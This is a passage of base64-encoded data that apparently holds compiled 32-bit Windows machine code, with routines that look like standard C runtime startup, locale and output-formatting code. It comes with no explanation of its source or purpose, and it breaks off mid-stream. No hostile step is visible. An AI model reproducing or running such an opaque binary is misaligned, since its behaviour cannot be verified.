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z7//90QoiFyPv//42FtPv//1CLhbT7///Ghcn7//8A/7CsAAAAjYXI+///UI2F/Pv//1Dou/j//4PEEIXAfQ+JtbD7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pQgQAAIsDg8MEiZ3o+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6f0DAACDpdj7//8A6fMDAAChOBxBAImF8Pv//1Doqff//1np3AMAAIP4cA+P9gEAAA+E3gEAAIP4ZQ+MygMAAIP4Zw+O6P3//4P4aXRtg/hudCSD+G8Pha4DAAD2hfj7//+AibXk+///dGGBjfj7//8AAgAA61WLM4PDBImd6Pv//+gj9///hcAPhFb6///2hfj7//8gdAxmi4Xg+///ZokG6wiLheD7//+JBseFsPv//wEAAADpwQQAAION+Pv//0DHheT7//8KAAAA94X4+///AIAAAA+EqwEAAAPei0P4i1P86ecBAAB1EmaD+Wd1Y8eF9Pv//wEAAADrVzmF9Pv//34GiYX0+///gb30+///owAAAH49i730+///gcddAQAAV+ii9f//WYuN5Pv//4mFqPv//4XAdBCJhfD7//+Jvez7//+L8OsKx4X0+///owAAAIsDg8MIiYWU+///i0P8iYWY+///jYW0+///UP+1pPv//w++wf+19Pv//4md6Pv//1D/tez7//+NhZT7//9WUP81WBxBAOhC4f//Wf/Qi534+///g8QcgeOAAAAAdCGDvfT7//8AdRiNhbT7//9QVv81ZBxBAOgS4f//Wf/QWVlmg73k+///Z3Uchdt1GI2FtPv//1BW/zVgHEEA6Ozg//9Z/9BZWYA+LXURgY34+///AAEAAEaJtfD7//9W6Qj+//+JtfT7///Hhaz7//8HAAAA6ySD6HMPhGr8//8rwg+Eiv7//4PoAw+FyQEAAMeFrPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eav7//2owWGaJhdD7//+Lhaz7//+DwFFmiYXS+///iZXc+///6UX+///3hfj7//8AEAAAD4VF/v//g8ME9oX4+///IHQc9oX4+///QImd6Pv//3QGD79D/OsED7dD/JnrF/aF+Pv//0CLQ/x0A5nrAjPSiZ3o+///9oX4+///QHQbhdJ/F3wEhcBzEffYg9IA99qBjfj7//8AAQAA94X4+///AJAAAIvai/h1AjPbg730+///AH0Mx4X0+///AQAAAOsag6X4+///97gAAgAAOYX0+///fgaJhfT7//+LxwvDdQYhhdz7//+Ntfv9//+LhfT7////jfT7//+FwH8Gi8cLw3Qti4Xk+///mVJQU1fouKf//4PBMIP5OYmdkPv//4v4i9p+BgONrPv//4gOTuu9jYX7/f//K8ZG94X4+///AAIAAImF7Pv//4m18Pv//3RZhcB0B4vOgDkwdE7/jfD7//+LjfD7///GATBA6zaF23ULoTwcQQCJhfD7//+LhfD7///Hhdj7//8BAAAA6wlPZoM4AHQGA8KF/3XzK4Xw+///0fiJhez7//+DvbD7//8AD4VlAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBYZ